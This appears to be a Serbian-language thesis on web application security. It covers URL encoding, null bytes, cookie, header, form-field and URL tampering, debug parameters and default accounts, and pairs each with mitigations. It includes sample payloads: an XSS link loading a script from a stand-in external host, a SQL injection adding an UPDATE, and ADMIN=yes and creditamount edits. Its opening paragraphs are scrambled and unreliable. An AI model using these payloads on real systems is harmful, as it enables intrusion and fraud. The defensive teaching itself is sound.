stil. npr.com/okvir. pri čemu kod.Nulti bajtovi Iako se većina Web aplikacija razvija sa najraznovrsnijim programskim jezicima.php i u nju zapisati kod koji se želi izvršiti na udaljenom serveru. http://www.primer.com. Promenljiva $libdir sadrži informaciju o direktorijumu u kojem su smeštene biblioteke. Prilikom nailaska na funkciju include(). ukoliko je promenio putanju tako da ona pokazuje na njegov lokalni sistem http://www. sve te aplikacije često prepuštaju podatke osnovnim (underlying) C-funkcijama radi dalje obrade i fukcionalnosti.

te mu se dodaje prefiks u vidu znaka za procenat (“%”). Web aplikacije ne ograničavaju i mogu biti predstavljene bilo kojim postojećim skupom karaktera. decimalni 0-255. u USASCII skupu karaktera predstava razmaka (space) decimalnim kodom iznosi 32. kao što mogu biti kodirni i svi HTML entiteti i bilo koji meta karakteri koje koristi operativni sistem i baza podataka. RandomAccessFile i slične Java klase). zaobilaženje provera validnosti. -Java (File. podaci mogu biti preneti u HTTP zaglavlju ili mogu biti uključeni u deo upita traženog URL-a. U specijalnim slučajevima moguće je koristiti unikod karaktere. svaki osmobitni kod (npr. Podaci koji se dodaju URL-u moraju biti specijalno kodirani da bi se poklapali sa URL sintaksom. 7.URL kodiranje Kod standardnih Web aplikacija transfer podataka između klijenata i servera se vrši upotrebom HTTP i HTTPS protokola. Prema RFC 1738 specifikaciji “U URL-u se nekodiranom obliku mogu koristiti jedino alfanumerici. manipulacija URL-a i manipulacija formom su dve strane iste medalje. specijalni karakteri "$-_. Na primer. pa čak i binarnim podacima. Kontrolni karakteri iz ASCII skupa npr. Napadi se najčešće koristite za razotkrivanje fizičkih putanja.0 dozvoljavala je sve karaktere iz skupa Unikod karaktera.6.kodiranjem nultih bajtova (%00).+!*'(). RFC 1738 specifikacija koja definiše URL-e (Uniform Resource Locator) i specifikacija RFC 2396 za URI (Uniform Resource Identifier) ograničavaju dozvoljene u URL i URI na podskup US-ASCII karaktera. URL kodiranje se vrši tako što se uzima osmobitni heksadecimalni kod datog karaktera. Obe ove metode imaju odgovarajuće forme ulaznih tipova (HTTP GET ili POST). fajlova ili informacija o operativnom sistemu. itd. Web aplikacija mora pri prijemu podataka da preduzme odgovarajuće 33 .2. Ranije verzije HTML-a dopuštale su upotrebu celog ISO-8859-1 (ISO Latin-1) skupa karaktera. Tehnike ublažavanja Sprečavanje napada putem nultih bajtova podrazumeva da aplikacija proveri validnost svih unetih podataka pre bilo kakvog daljeg rada na njima. Tako da je URL kodirana predstava %20. Iako neki karakteri ne moraju biti URL kodirani. ili heksadecimalni 00-FF) može biti kodiran. nulti karakter (NULL – decimalni kod 0) može biti URL kodiran. Najomiljeniji skriptovi i programski jezici za napad su: -Perl (izuzetno). a heksadecimalnim 20. Pošto URL kodiranje dopušta da virtualno svaki podatak bude prenesen serveru. skladu sa svojom namenom”." i rezervisani karakteri. Sa druge strane. -PHP (u zavisnosti od konfiguracije). Usled ovoga. HTML 4. Postoje dva osnovna načina na koje server prima ulazne podatke od klijenta. skraćivanje stringova predatih SQL upitima.

fname. phone FROM usertable WHERE lname='" & Request.php?mydata=%3cscript%20src=%22http%3a% Generisani HTML: <script src="http://www. Uobičajeno je da sam Web server dekodira URL. phone FROM usertable WHERE lname='smith'.com/badscript. Cross Site Scipting primer Izvod iz script.php echo $HTTP_GET_VARS["mydata"].asp: sql = "SELECT lname.update Tehnike ublažavanja Bezbednosne provere treba vršiti nakon što je dekodiranje završeno. fname.myserver. HTTP odgovor: http://www.js"></script> SQL Injection primer Originalni upit baze podataka search.myserver.yourserver.c0m/script. URL kodiranje može biti mehanizam za prikrivanje mnogih vrsta malicioznog koda.c0m/search.asp?lname=smith%27%3bupdate%20usertable% Izvršeni upit baze podataka: SELECT lname.mere opreza. 34 . HTTP zahtev: http://www. te se ovaj problem može javiti i na samom Web serveru.

da se ne-stalni cookie-ji ne mogu menjati. U loše projektovanim Web aplikacijama zlonamerni korisnici mogu da menjaju sesijske tokene ili vrednosti sadržane u cookieima. time=12:30GMT . ali obično obuhvata opseg od tokena sesija do nizova koji donose odluke o autorizaciji. Takođe se koriste kao zgodan mehanizam za skladištenje korisničkih preferenci i drugih podataka uključujući i sesijske tokene.3. Prostor manipulacije cookie-ja zavisi toga za šta se cookie koristi. turistički Web sajt Cookie: lang=en-us. Nijedan podatak poslat browser-u ne može se smatrati neizmenjenim u odnosu na originalni. Prema tome. y=1 . što je šema kodiranja koja ne pruža kriptografsku zaštitu). time=10:30GMT . Bilo stalni ili ne-stalni.Manipulacija Cookie-a Cookie-ji su prioritetan metod održavanja stanja u HTTP protokolu. koji je protokol bez stanja. pa čak i zaglavlja HTTP-a. bezbedni ili ne-bezbedni cookie-ji se mogu od strane klijenta menjati i slati serveru sa URL zahtevom. Napadač može jednostavno da izmeni parametre cookie–ja u. 7. sem u slučaju kada je kriptografski zaštićen na nivou aplikacije. (Mnogi cookie-ji su Base64 kodirani.3. Isto tako SSL štiti cookie-je samo u tranzitu.7.Manipulacija parametrima Manipulacija podacima koji se razmenjuju između browser-a i Web aplikacije bila je dugo jednostavan ali efikasan način da se aplikacija natera da radi stvari koje ne bi trebalo da budu dostupne običnom korisniku. svaki zlonamerni korisnik može izmeniti sadržaj cookie-ja u svoju korist. Primer iz stvarnog života. jednostavno zašto bi primali kao ulaz od strane korisnika vrednosti koje već znamo. Ovo je najpouzdaniji način na koji se obezbeđuje da su podaci pri povratku regularni. Kriptografska zaštita na transportnom nivou (SSL) ni na koji način ne štiti od napada. Izmene parametara često se mogu vršiti: -cookie-ima. kao što su manipulacija parametrima pri kojima se podaci pre slanja menjaju. -HTTP zaglavljima. ADMIN=no. Cookie: lang=en-us. Aplikacija proverava svojstva korisnika tako što provera korisnikov id sa odgovarajućom tabelom sesija i pokazuje na varijable 35 . ADMIN=yes. Postoji česta zabluda.1. Tehnike ublažavanja Jedan od načina ublažavanja je da se jedan sesijski token koristi da ukazuje na podatke skladištene na serverskoj memoriji. pošto su alati poput Winhex-a lako dostupni. -poljima forme. y=1 . -stringovima URL upita. što nije tačno.

podrazumeva njihovo kriptovanje. Posledjna metoda spračavanja falsivikovanja cookie-ja. moguće je da budu izmenjenog sadržaja. izmeni njihovu formu i pošalje ih sa svog računara. Međutim.2.korisničkih podataka u kešu/bazi podataka. Neki Web sajtovi proveravaju ovakvo zaglavlje da bi se uverili da je zahtev potekao sa neke od njihovih stranica. napadač morati da napiše svoj program (15 linija u Perl-u ili PHP-u). Sledeća tehnika podrazumeva izradu kopči (hooks) za detektovanje upada.someplace. na primer. Normalni Web browseri ne dopuštaju menjanje zaglavlja. ako je u Cookie-ju postavljen “administratorski” fleg. i pri HTTP odgovoru od Web servera do Web klijenata. u opštem slučaju sadrži URL stranice od koje je zahtev potekao. Ovo je najkorektnija metoda za očuvanje korisničkih preferencija putem cookie-ja. koje šalje većina Web browsera. što bi ukazivalo na falsifikovanje. Primer: Referer zagljavlje. Ovaj bezbednosni mehanizam će zakazati ako napadač uspe da izmeni Referer zaglavlje.14 Referer: http://www.php Content-type: application/x-www-form-urlencoded Content-length: 49 HTTP zagljavlja najčešće koriste samo Web browser-i i Web serveri.Manipulacija HTTP zaglavljima HTTP zaglavlja su kontrolne informacije koje se pri HTTP zahtevu prenose od Web klijenata do Web servera. Tehnike ublažavanja Jednostavno rečeno. a kako zagljavlja nastaju na klijentskoj strani.8.3. tako da izgleda isto kao da je poteklo sa originalnog sajta. na zaglavlja se ne možemo osloniti bez dodatnih bezbednosnih mera. koje će pregledati da li cookie-ji sadrže neke neverovatne ili nemoguće vrednosti. ono se može 36 .4dev.someplace. 7. Primer zaglavlja iz HTTP POST zahteva: Host: www. Na primer. snimi Web stranice. Ako je zaglavlje nastalo na serverskoj strani (cookie).9 libwww-FM/2.org Pragma: no-cache Cache-Control: no-cache User-Agent: Lynx/2. Tako da će za izvođenje HTTP zahteva. dok korisnička id vrednost ne ukazuje na korisnika kao člana razvojnog tima. neki Web projektanti se opredeljuju za pregled dolaznih HTTP zaglavlja. dok većina Web aplikacija ne obraća pažnju na njih. Veruje se da ovaj postupak sprečava napadača da.org/login.

Neki projektanti sprečeavaju korisnika da unese predugačko korisničko ime i lozinku tako što postave vrednost polja maxlength=(integer). zatim snimi. Kada aplikacija treba da proveri korisničko svojstvo. u nadi da će time sprečiti zlonamernog korisnika overflow bafera da unese suviše duge parametre. Iza forme za logovanje može da se nađe HTML kod: <input name="masteraccess" type="hidden" value="N"> Promenom skrivene vrednosti u Y. korisnik može da ih izmanipuliše. HTML može da skladišti vrednosti polja. Za skirvena polja važe ista pravila kao i za regularna polja. kao skrivena (Hidden) polja. readonly i polja za unos vrednosti.Manipulacija poljima HTML formi Kada korisnik napravi selekciju na HTML stranici. 37 . Dalje su nam interesantni tipovi polja disabled. U većini slučajeva ovo jednostavan postupak. Skrivena polja formi široko se koriste na najrazličitije načine.3. 7. aplikacija će se logovati kao administrator. check box-ovi itd. te ukazuje varijable korisničkih podataka u kešu/bazi podataka. preko SSL-a koristeći HTML. ukloni maxlength oznaku i ponovo učita stranicu u svoj browser. Kao što je već rečeno. Međutim. Kod poslat browser-u je samo skup sugestija i nema bezbednosnu vrednost. aplikacija koristi jednostavnu formu za podnošenje korisničkog imena i lozinke i podnosi ih CGI-u radi autentifikacije. Primer: Posmatrajmo istu aplikaciju.3.Bilo da su ova polja sa unapred zadata (padajući meniji. Za više informacija o zaglavljima pogledati RFC 2616 koje definiše HTTP 1/1. pre provere tačnosti. polja slobodne forme ili skrivena polja (Hidden Fields). Ovakva polja browser ne prikazuje na ekranu ali ih skuplja i podnosi kao parametre.). Stranica se snimi korišćenjem “view source” opcije. zlonamerni korisnik može jednostavmo da snimi stranicu. iako ona još uvek predstavljaju slabu tačku aplikacije. ona proverava cookie sesije sa tebelom sesija. Na primer. Skrivena polja formi su projektantima jedan od najzgodnijih načina za smeštaj podataka u browser i ujedno najčešći način razmene podataka između stranica i aplikacija tipa wizard-a. ta selekcija se obično smešta u vrednosti polja forme i šalje aplikaciji kao HTTP zahtev (GET ili POST).zaštiti kriptografski. projektant aplikacije može koristiti sesijski token. podaci i kod poslati klijentima ne može se usvojiti kao takav kao validni. te se HTML izmeni i ponovo učita u browser. Tehnika ublažavanja Umesto upotrebe skrivenih polja. U slučaju kada je nastalo na strani klijenta (referer) ne bi ga trebalo koristiti za donošenje bilo kakvih bezbednosnih odluka. Ovo je u mnogome pravilan način za prevazilaženje ovog problema. te da podnese vrednosti po svom izboru.

dodatni digest parametar se može dodati stringovima URL upita. Ova tehnika može se upotrebiti i za spečavanje falsifikovanja parametara URL-a.4. Korisnikov izbor se beleži klikom na submit dugme. ali se javilo kao problem u nekoliko čuvenih hakerskih napada uključujući i onaj kada su hakeri za 25$ kupili avionske karte od Sjedinjenih Država do Pariza. U slučaju GET metoda sva imena elementa formi i njihove vrednosti će se pojaviti u stringu upita sledećeg URL-a kojeg korisnik vidi u svom browseru.3. koja će ih dalje obraditi. 7. i odleteli da drže hakerski kongres. Prateći gore opisanu tehniku. Da bi se digest-i poklapli parovi ime/vrednost u Incoming i Outgoing Form Message-u moraju biti sastavljeni istim redom u oba slučaja.victim. Zatim se Incoming Form Digest poredi sa Outgoing Form Digest-om (koji se podnosi sa formom) i ako se oni ne poklapaju. Falsifikovanje sa skrivenim poljima formi je dosta lako. mogu se međusobno spojiti u jedan string. pripremili i drugačiji pristup. Takvom stringu se dodaje i tajni ključ koji se nigde u formi ne pojavljuje. Ovo izgleda trivijalno. dok je falsifikovanje sa stringovima upita još lakše. Korisnik treba samo da pogleda URL u polju za adresu svog Web browsera. Posmatrajmo sledeći primer: Web stranica dozvoljava autentifikovanom korisniku da iz polja padajućeg menija izabere jedan od njegovih ranije unetih naloga i da nalog zaduži fiksnom količinom nekih jedinica. GET ili POST.URL manipulacija HTML forme mogu prenositi vrednosti unete u svoja polja koristeći jedan od HTTP metoda. 38 . Naredba šalje sledeći zahtev: http://www. Kada se forma podnosi dolazni par ime/vrednost se ponovo spaja sa tajnim ključem u Incoming Form Message. Parovi ime/vrednost u skrivenim poljima u formi.victim. Ovo je najčešći scenario. Ovakav string se naziva Outgoing Form Message.U slučaju da se tehnika upotrebe varijabli sesije na može primeniti. Stranica zapravo skladišti unos u vrednost polja i podnodi je nakon submit naredbe.com/example?accountnumber=12345&debitamount=1 Zlonamerni korisnik može da napravi svoj broj računa i promeni parametre na sledeći način: http://www. Izračunava se MD5 digest Incoming Form Message-a. znači da su skrivena polja izmenjena.com/example?accountnumber=67891&creditamount=999999999 Novi parametri će biti poslati aplikaciji.

još jedan oblik falsifikovanja je prisutan u primeru. zato što neko ko stoji iza može da je vidi. Korisnik može jednostavno da pogleda u “Address” prozor svog browser-a i da izmeni vrednosti parametara. Zamislite da korisnik ne falsifikuje broj računa već samo iznos. ovi problemi se ne javljaju samo kod HTML formi. Više detalja o ovoj tehnici dato je u odeljku Manipulacija poljima HTML formi. Parametre treba obrađivati samo kada aplikacija može nezavisno od predhodnih strana da potvrdi za čega su ti parametri i da su autorizovani za dalju obradu. Tehnike ublažavanja Najbolje rešenje je izbeći stavljanje parametara u stringove upita (ili skrivena polja formi). Jasno je da ovakav parametar ne bi trebao da bude prisutan u URL-u. a i browseri beleže posećene URL-ove u history-ju. Gore navedeni primer ilustruje prvi razlog – korisniku se ne sme dozvoliti da postavlja vrednosti parametara. Kriptografska zaštita može se primeniti na dva načina. Postoje dva razloga zašto parametar ne bi trebao da bude u URL-u (ili u formi kao skriveno polje). Razmotrimo slučaj da se promenljiva creditamount poveća sa 1 na 999999999. Korisnik ne sme da vidi ni svoju lozinkui u obliku URL. on zapravo šalje GET zahtev. Lozinke su dobar primer prethodnog.Na žalost. Bolji način je kriptovanje celog stringa upita (ili vrednosti skrivenih polja forme). ali sprečava njegovu izmenu. Pri slanju parametara od klijenta do servera potrebno im je dodati odgovarajući sesijski token. Skoro sva navigacija na internetu se odvija putem hiperlinkova. Mnogi od ovih zahteva imaju stringove upita baš kao i forme. Ako neki osetljivi parametar ne može biti izuzet i URL-a. aplikacija ne bi trebalo da vrši promene računa bez prethodne provere da li korisnik povezan sa datom sesijom ima pravo da menja parametar računa “accountnumber” (broj računa). Drugi razlog je – korisniku se ne sme dozvoliti da vidi vrednosti parametara. 39 . Sesijski tokeni imaju svoje posebne bezbednosne aspekte. ili da bi se kretao unutar jedne iste aplikacije. Kada korisnik klikne na hiperlink da bi prešao sa jednog sajta na drugi. što je ranije već opisano. Međutim. Ova tehnika sprečava korisnika da vidi i da menja vrednosti parametara. Druga forma kriptografske zaštite je dodavanje dodatnog parametra čija vrednost je MD5 digest stringa upita URL-a (ili skrivenih polja forme). Skript koji obrađuje zaduženje na nekom računu ne sme da pretpostavi da su odluke o kontroli pristupa donesene na predhodnim stranicama aplikacije. Ova tehnika ne sprečava korisnika da vidi vrednost URL-a. U gore navedenom primeru. on se mora kriptografski zaštititi.

2. ovakvi alati nikada neće moći u potpunosti da zamene poznavanje sistema i načina na koji je sistem projektovan da radi. Na žalost. 40 .Ostali načini manipulacije 7.Konfiguracija sistema Serverski softver je često kompleksan.4. Organizacije moraju prihvatiti da je upravljanje konfiguracijom stalan proces. pošto su ovakve konfiguracije mnogo ranjivije. Malo je distributera koji pokušavaju da na svoje aplikacije postave bezbedne default konfiguracije. pa čak i imena članova razvojnog tima. Efikasno upravljanje konfiguracijom je prvi u postavljanju preduslova koji će omogućiti pouzdan rad sistema i u slučaju višestrukih napada. Upravljanje konfiguracijom ma koliko bilo bitno. Kako se konfiguracije i faktori u okruženju menjaju u toku vremena. Međutim. Komentari nekad potiču iz razvojne faze HTML-a i mogu sadržavati informacije o otklanjanju grešaka. 7.4. strukturama cookie-ja. Često se po default-u instaliraju razni sempl fajlovi i direktorijumi. informacije o strukturi Web sajta ili informacije namenjenih vlasnicima sistema ili članovima razvojnog tima. te da se ne može jednom uraditi i tako ostaviti.4. Strukturni komentari – se javljaju u HTML kodu. oni zapravo prebacuju brigu o bezbednosti procesa instalacije na leđa korisnika date aplikacije.Komentari u HTML Komentari koji se nalaze u izvornim kodovima čine kod čitljivijim i pomažu programerima pri procesu dokumentacije. pogotovo kada je na razvoju sajta radio veći tim duže vreme. Ako distributeri nude alate za upravljanje i obezbeđivanje procesa instalacije vašeg sofvera. obično na početku stranice ili između JavaScript-a i ostatka HTML-a. Dok mnogi distributeri sugerišu uklanjanje ovakvih fajlova. Kao posledica. Sistemi koj se danas koriste sastoje se od više softverskih nivoa. i dalje je je teško za pravilnu upotrebu. sam softver sa svojim default konfiguracijama čini ovaj zadatak mnogo težim. sistem koji je nekada bio dobro zaštićen. mogu nepažnjom biti otkrivene. koje se šalju klijentovom browser-u. koji mogu napadaču da pruže gotove napade.7. tako da sistem može biti izložen napadu sa strana koje je teško ili nemoguće predvideti. može u postati slaba karika sistema bez ikakvih indikacija o povećanom riziku. i za njegovo pravilno konfigurisanje potrebno je dobro poznavanje kako upotrebljenih protokola tako i njihovog načina rada. u slučaju da sempl fajlovi sadrže probleme. sa email-ovima i telefonskim brojevima. problemima vezanim za razvoj. ne bi bilo loše proceniti takve alate.1. Ovako obezbeđeni sistemi se pokazuju mnogo manje ranjivi u slučajevima uobičajenih napada. Praksa stavljanja komentara nastavljena je i pri projektovanju HTML stranica.

Na žalost. Komentari kao što su “Sledeće skriveno polje mora biti postavljeno na 1 ili se XYZ.Automatski komentari – mnoge alatke za generisanje stranica. Za automatske komentare verovatno je potreban aktivni filter. Tehnike ublažavanja Uklonite sve sempl fajlove sa vašeg Web servera. i mogu pokazivati kako se. Ovo uključuje poznate ranjive fajlove i aplikacije. Ako je napadač u stanju da pogodi takav URL. oni predstvaljaju veliku opasnost. Mnogi od ovih fajlova su zastrašujuće opasni. Postarajte se da su svi neželjeni i nepotrebni fajlovi budu uklonjeni. Ovo omogućuje korisniku da napravi svoju listu poznatih ranjivih fajlova i sumnjivih aplikacija. 7. Kako ovakvi komentari nisu ni na koji način kontrolisani.Stari. Web server će vratiti HTTP 200 kod ako fajl postoji i HTTP 404 kod ako dati fajl ne postoji. Ovakvi kometari obaveštavaju napadača o konkretnim sofverskim paketima () koji se koriste na sajtu. on automatski ima pristup takvom resursu. koji skida komentare pre nego što je stranica predata serveru.4. Numeracija fajlova/aplikacija koristi kodove odgovora HTTP servera da bi ustanovili da li fajl ili aplikacija postoje. Skriveni/nereferisani fajlovi – mnogi administratori Web sajtova na serveri ostavljaju fajlove kao što su semlp faljovi ili fajlovi koji se instaliraju po default-u. Jednostavna pretraga za fajlovima određenih ekstenzija koje nisu eksplicitno dozvoljene može biti veoma efikasna. ili nekom osnovnom logikom mapira fajlove i strukturu aplikacije vidljivu sa nivoa prezentacije. Tehnike ublažavanja Za većinu komentara biće dovoljan jednostavan filter. Nestrukturni kometari – su oni koje ostavljaju programeri za podsećanje za vreme razvoja aplikacije. ovakvi komentari nisu retkost. Ranjivosti poznate za pronađene pakete tada se mogu isprobati i na samom sajtu. ovi fajlovi ostaju dostupni iako nijedan HTML na Web-u ne upućuje (referiše) na njih. 41 . kao i Web softver često u HTML automatski dodaju komentare u vidu potpisa. nereferisani fajlovi aplikacije.asp raspada” ili “Ne menjati raspored polja u tabeli” su za potencijalnog napadača znak da obrati pažnju. Kada se Web sadržaj objavi. na primer. bekapovani i fajlovi bez reference Numerisanje fajlova/aplikacija je opšta tehnika koja se koristi u potrazi za fajlvima ili aplikacija koje se mogu upotrebiti ili biti korisne za konstrisanje napada.3. fajlovi upotrebom Web interfejsa uploauduju. kao i bekap temp fajlovi.

Question 1 --> <TR> <TD align=left colspan=2> <INPUT TYPE=HIDDEN NAME="Question" VALUE="1"> <SPAN class="Story"> Pronalaženje debug elementa nije jednostavno. Kako projektanti nisu predvideli da ove naredbe koriste obični korisnici. tako da pomisle da traženi fajl postoji. 42 .Neki Web serveri/aplikacije koje izrađuju dinamičke stranice neće poslati 404 poruku browser-u. ali kada se jednom pronađe uobičajeno je da ga hakeri isprobaju po celom Web sajtu.com/account_check?debug=on&ID=8327dsddi8qjgqllkjdlas&Disp Napadač dalje posmatra ponašanje servera.com/poll?1688591" TARGET="sometarget" <INPUT TYPE=HIDDEN NAME="Poll" VALUE="1122"> <!-. mere predostrožnosti obično nisu preduzete.4. koji ukazuje serveru da pređe u debug mod.4. Ovo zbunjuje osnovne skenere. Implicitne naredbe – naizgled bezopasni elementi stranice.someWebsite. Debug konstrukcija se može naći unutar HTML koda ili JavaScript-a kada se forma vraća serveru jednostavnim dodavanjem linijskog elementa u konstrukciju forme. u slučaju izmene mogu imati nesagledive posledice po server. Ovim elementima su po pravilu data nejasna imena. Osnovna namena ovakvih elemenata je bila da pomogne programeru pri modifikovanju sistema kroz različita stanja da bi se vreme potrebno za testiranje skratilo.begins --> <TABLE BORDER=0 ALIGN=CENTER CELLPADDING=1 CELLSPACING=0>> <FORM METHOD=POST ACTION="http://some_poll. kao što su “fubarl” ili “mycheck” itd. Naredbe kao “debug=on” ili “Debug=YES” mogu se naći u URL-u na sledeći način: http://www. na primer.com/account_check?ID=8327dsddi8qjgqllkjdlas&Disp=no . već će umesto nje učitati stranicu kao što je mapa sajta.someWebsite.Debug naredbe Debug naredbe se javljaju u dve odvojene forme. 7. Rezultat je isti kao u slučaju predhodnog napada. i izmeniti u: http://www. Moderne skenere ranjivosti. Eksplicitne naredbe – koje se nalaze u kodu ili se mogu uvesti kao deo URL-a. međutim ova tehnika samo usporava. Ovakvi elementi se u kodu mogu pojaviti kao: <!-.

napadač će ovakav naolog iskoristiti kao sredstvo pristupa i zloupotrebe logike aplikacije i koristiti ga u cilju unapređenja napada.ako je u pitanju bio demo ili test nalog. Takav korisnik. Tehnike ublažavanja Izmenuti standardna podešavanja vezana za instalaciju aplikacije. pratite bezbednosne liste kako distributerske.7.isprobavanjem brojeva preko lozinke u slučaju da je poznato samo ime naloga. obično administrator sistema ima standardnu lozinku. . Napad na ovakvim default nalozima može da se pojavi na dva načina: .ako je pomenuti nalog bio administratorski napadač tada ima delimičnu ili potpunu kontrolu nad aplikacijom (ponekad i nad celim sajtom) sa mogućnošću bilo kakve zlonamerne radnje. -gost nalozi. 43 .Default (inicijalni) nalozi Mnoge Web aplikacije inicijalno (po defalut-u) obično imaju najmanje jednog aktivnog korisnika.4. što dalje vodi u najčešće dva pravca: . Sistem može biti kompromitovan ukoliko napadač koristi ovaj tip naloga. Ovakvim nalozima može se pristupiti sa Web-a bilo standardnim pristupom za sve definisane naloge. -test nalozi. Default nalozi obično dolaze sa ranije konfigurisanim default lozinkama koje su opšte poznate.5. .pokušaj da se upotrebi default korisničko ime/lozinka pod prepostavkom da oni nisu promenjeni nakon default instalacije. većina aplikacija ne insistira na promeni istih. Uklonite sve nepotrebne naloge. Web aplikacije omogućavaju višestruke default naloge kao što su: -administratorski nalozi. kao što su administratorske stranice. tako i javne. Štaviše. Jednom kada je lozinka unešena ili pogođena. bilo sa specijalnog porta ili dela aplikacije. napadač ima pristup sajtu u skladu sa ovlašćenjima naloga.

osim ako njihov prikaz nije apsolutno neophodan. Samo lična imena ili nadimke bi trebalo prikazivati na mestu imena. -proxy serveri i LAN korisnici mogu presresti podatke koji se razmenjuju. da bi se izbrisali svi cookie-i od predhodne sesije.Upotreba ličnih podataka Sistem treba obezbediti tako da lične podatke prikazuje samo kada su oni apsolutno neophodni. 8. a brojne identifikatore treba prikazivati samo delom. kao što su brojevi socijalnog osiguranja. kao i detalje o računima.2.1. 8. -kristiti SSL ili TLS.Opasnosti pri upotrebi javnih Web browser-a Svi sistemi treba jasno i stalno da upozoravaju korisnike o opasnostima upotrebe zajedničkih računara. moraju biti dodatno obezbeđeni. aplikacija bi trebalo da broj prikaže kao *****6789). -postaviti no-cache-pragma meta opciju. -preporučljivo je odjavljivanje sa aplikacije (logout) i gašenje browsera. zdravstveni kartoni.Opcija «Browser History» Sistem treba da obezbedi da se osetljivi podaci ne vide u korisnikovom browser history-ju. Upozorenje treba da upozna korisnike sa sledećim: -stranice mogu ostati sačuvane u history-u browsera. -moguće je da temp fajlovi ostanu u računaru. U nekim zemljama i nekim okolnostima. brojevi socijalnog osiguranja i druge specifične podatke trebalo bi uvek maskirati (ako je broj računa 123456789. u cilju osiguranja privatnosti korisnika. -Sve forme trebalo bi podnositi upotrebom HTTP POST zahteva.PROBLEMI PRIVATNOSTI Ovo poglavlje bavi se privatnošću korisnika.3. 44 . Kada je prikaz podataka na stranici neophodan trebalo bi : -podesiti stranicu na pre-expire. korisnička imena. telefonski brojevi. Sistem koji sadrži podatke o korisniku koji su lične prirode. Brojevi računa. kao što su oni u bibliotekama i internet kafeima. Sajtove ne treba projektovati sa pretpostavkom da je bilo koji deo klijenta bezbedan. lična imena.8. Ovo pruža korisniku veliku fleksibilnost pri upotrebi sigurnih hostova kako na ličnom tako i na zajedničkom računaru. i treba praviti bilo kakve pretpostavke u vezi integriteta. -postaviti no-cache meta opciju. 8. postoje zakonske regulative o zaštiti privatnosti korisnika.

Povećanje sigurnosti može dovesti do smanjenja funkcionalnosti aplikacije (npr. ali mogućnosti za greške ima mnogo.9. cene i performansi. prati redovno sve novosti. potrebno je detaljno poznavati svaki deo sistema od kojeg se sastoji Web aplikacija. Pomenuti su samo najvažniji problemi. Svaki programer koji se bavi razvojem Web aplikacija trebalo bi da. mailing liste. Ovo je bio kratak pregled problema sa kojima se suočava svaki Web programer. Suština je u tome da je Web zapravo skup desetina različitih tehnologija koje se izvršavaju na različitim platformama. ali je daleko veći problem poštovati ovo jednostavno pravilo u praksi. 45 . Pri izradi Web aplikacija veoma je bitno odrediti koji je stepen bezbednosti potreban. forume i iskustva drugih programera vezana za bezbednost. Pri posmatranju lista najvećih bezbednosnih problema. kao i do smanjenja performasi. Potrebno je pronaći balans između parametara bezbednosti. funkcionalnosti. Dakle. na koju su primenjeni ovi koncepti. ograničava se broj korisnika). pored poznavanja tehnologije sa kojom radi. Reći da ne treba verovati ulaznim podacima je lako. kao i realizacija tipične aplikacije za timski rad na projektima zasnovane na PHP tehnologiji. što nije lak zadatak. primećuje se da skoro svi direktno zavise od kompetentnosti programera koji proizvode softver. što znači da se radno iskustvo ničim ne može zamenuti. ZAKLJUČAK U ovom radu predstavljeni su osnovni koncepti bezbednosti Web aplikacija.

46 . David Endler. Tim Smith. Harry Fuecks. James Fuller. Alex Russell. Wrox Press 2003. Richard Parke. Izhar By-Gad. Upper Saddle River. William Stallings. OWASP 2002.org 3. Jon Stephens. William Hau.Tehnički članci "CERT – Coordination Center" Carnegie Mellon Software Engineering Institute."A Guide to Building Secure Web Applications" . LITERATURA 1. Dennis Groves."Criptography and Network Security: Principles and Practice". www. Gene McKenna. Martin Eizner. New Jersey 1998.The Open Web Application Security Project. Amit Klien. Lee Reynolds. 2. and Roy McNamara. 4. Ken Egervari. Inc. Kevin McLaughlin. Daniel Solin. Martin Eizner. Prentice-Hall."Professional PHP Web Services". Sverre Huseby. Mark Curphey.10. Bryan Waters. Nigel Tranter. Steve Taylor.cert.

Browser (Web browser) . Domain name . Foxpro.Proces kopiranja nekih podataka kao sto su slike. Cookie . PostgreSQL.verisign. CA – certifikaciono telo ili autoritet od poverenja. kraftweb. prezime . Access. da bi sa lakoćom menjali baze podataka. ADOdb trenutno podržava MySQL.com). Antivirusni program (AV program).Common Gateway Interface... Sybase.server koji vrši razlučivanje logičkih imena korisnika ili servisa na mreži u IP adrese i obrnuto. ADO i ODBC.. FrontBase. najcešce pitana pitanja vezana za neku temu. Cgi-bin . 47 .net Domain name server (DNS) . zvukovi. tekst i ostale različite vrste fajlova.Frequantly Asked Questions. slanje poruka ili fajlova od jednog Internet korisnika do drugog (ili za više korisnika).Poznata i kao elektronska pošta. CGI . Imena domena mogu biti različita npr.uglavom je to direktorijum koji sadrži određene CGI programe na Web Serveru. standardizovana programska tehnologija koja omogućava preko Weba promenu podataka na Web Serveru (uglavnom iz neke forme) tom prilikom obrađujuje podatke i vraća neku vrstu rezultata. (Pogledati www. Oracle. Informix. Sybase SQL Anywhere. Postoje one koje podrzavaju samo text i druge koji podrzavaju text. interakciju i komunikaciju sa Web stranicom.thawte.'kolačić' je jedna vrsta zapisa koji moze da ostane na računaru (u zavisnosti od podešavanja samog browsera) i šalje se svaki put na Web Server kada browser pristupa određenom sajtu. To stvara potrebu za database bibliotekom da smanji razlike između različitih database API-a.com i www.jedinstveno ime domena na Internetu. grafiku i ostalo. E-mail . On moze sadržati informacije o korisniku kao sto su ime. Download .REČNIK ADOdb library – database biblioteka. FAQ . program sposoban da detektuje viruse i "očisti" ih sa sistema.. Interbase (Firebird i Borland varijante).uslužni program koji korisniku pruza prikazivanje. Microsoft SQL Server. PHP funkcije za pristup bazama podataka nisu standardizovane.

deo TCP/IP grupe protokola. IP . 48 . osnovni protokol za razmenu podataka preko Interneta. jezik uz pomoc koga se kreiraju stranice koje se koriste na World Wide Webu.Mreža svih mreža. besplatni klon komercijalnog PGP. Hypertext . bolje rečeno ovaj protokol. Ovako definisane hash funkcije mogu imati generalnu računsku primenu.Internet Protocol.Firma koja pruža usluge hostovanja Internet prezentacija. GnuPG – Gnu Privacy Guard.je sistem dizajniran da kontroliše protok informacija između lokalnog hosta i bilo kog udaljenog hosta na mreži. veliki broj mreža međusobno povezanih komjutera telefonskim žicama. Host .Generalno posmatrano. Hash funkcije – Hash funkcija H(x) je transformacija poruke proizvoljne dužine u hash vrednost h = H(x) tačno definisane dužine. protokol kojim su definisana pravila za cirkulaciju hypertext fajlova na Internetu. koji implementira asimetričnu kriptografiju. on sadrži sve tekstove koji u sebi sadrže linkove ka drugim dokumentima. dozvoljava browseru da pristupi Web serveru na bilo kom kompjuteru kada koriste isti 'jezik'. Hosting provider . GET – HTTP GET metod čija je funkcija slanje podataka od HTTP klijenta do servera. a kod kojih nije neophodno poznavanje ovog jezika ali 